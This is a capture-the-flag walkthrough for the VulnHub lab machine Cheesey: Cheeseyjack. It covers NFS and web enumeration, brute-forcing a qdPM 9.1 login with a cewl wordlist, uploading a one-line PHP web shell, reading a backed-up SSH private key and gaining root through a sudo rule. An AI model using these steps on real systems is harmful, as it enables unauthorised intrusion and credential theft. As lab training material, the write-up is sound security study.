VulnHub — Cheesey: Cheeseyjack Walkthrough
Machine details
- Title: Cheesey: Cheeseyjack
- Author: Cheese
- Difficulty: Easy
- Flags: 2 (user and root)
- Techniques: Enumeration, SMB, CVE, Bruteforce
- Operating System: Linux
Recon and Enumeration
As always, let’s do a nmap scan to find ports and services running
IP=<MACHINE-IP>
nmap -p- -sVC -Pn $IP
This machine has multiple ports open, we should take a look at the SMB, NFS and web ports. In my case, I want to check the SMB protocol and the nfs
smbclient -N -L //<MACHINE-IP>/
It seems there is not a share available for null sessions, maybe if we get credentials we can do something later. Let’s focus on the nfs, as nmap reported a mountd service on rpc port, we should check if there is any directory available like /tmp
showmount -e $IP 
We can mount the /home/ch33s3m4n directory and also we get a user from the machine, great info!
Now, let’s mount this share and then see the contents
mkdir /tmp/mount
sudo mount -t nfs $IP:/home/ch33s3m4n/ /tmp/mount -nolock
But unfortunatelly, this is a share read-only
So I went to web server to get more info and see if there is something interesting, the index page has only a message saying it’s under construction
Using gobuster might help us find hidden directories
gobuster dir -u http://192.168.56.134/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,php,txt,js,bak,db
I will check the it_security directory first
We can read the note, two users can be noted which is cheese (probably the one we got earlier) and crab
This message is interesting, we could use a bruteforce tool to get its password. But let’s enumerate more!
The project_management has a login page, with a software showing a version (qdPM 9.1)
With searchsploit, we can be for sure there is a lot of exploits available
Reading the decription of the code, we need a credential to use it. It seems this exploit explores the file upload functionality
Using the password forgotten, we can enumerate which user is active on the platform
Get Antonio’s stories in your inbox
Join Medium for free to get updates from this writer.
I went to index page again and searched for any contact info and got this email
But we will receive this message
However, as we got the info about cheese home’s account (ch33s3m4n), it’s worthy try ch33s3m4n@cheeseyjack.local
As my first bruteforce try was to use rockyou wordlist, it failed. However, I got the idea of using cewl to make a custom wordlist
As this wordlist has more or less 153 words, we can use tools like Burp Suite intruder to do the bruteforce! Indeed, we can find the password
ch33s3m4n@cheeseyjack.local:qdpmAfter we log-in, we will be redirected to dashboard
Clicking on the photo we can change the profile picture, let’s try to upload a file named shell.php with those contents
<?php echo system($_GET['cmd']); ?>
It seems the upload has worked pretty well!
After a little fuzzing, this project_management directory has another directory named uploads
http://192.168.56.134/project_management/uploads/users/955738-shell.php?cmd=id
My first objective was to enumerate users, it looks like there are two of them
We haven’t checked the crab user, let’s see if there is something interesting to read
We can read the todo.txt file. The user crab has made a backup of ssh files on /var/backups
On /var/backups there is a directory named ssh-bak
There, we can read a file named key.bak, which is the id_rsa of crab
http://192.168.56.134/project_management/uploads/users/955738-shell.php?cmd=cat /var/backups/ssh-bak/key.bak
We will save it in our machine as id_rsa, don’t forget to set the right permissions!
chmod 400 id_rsaNow, we can log-in as crab using the file
ssh crab@<MACHINE-IP> -i id_rsaIn the machine (finally), there is not a user flag. However, we can use a command with sudo
Take a look at the /home/crab/.bin line, this means we can execute ANY file in this directory as root. Let’s copy the bash file to execute sudo bash -p
To finish the machine, let’s get the root flag!
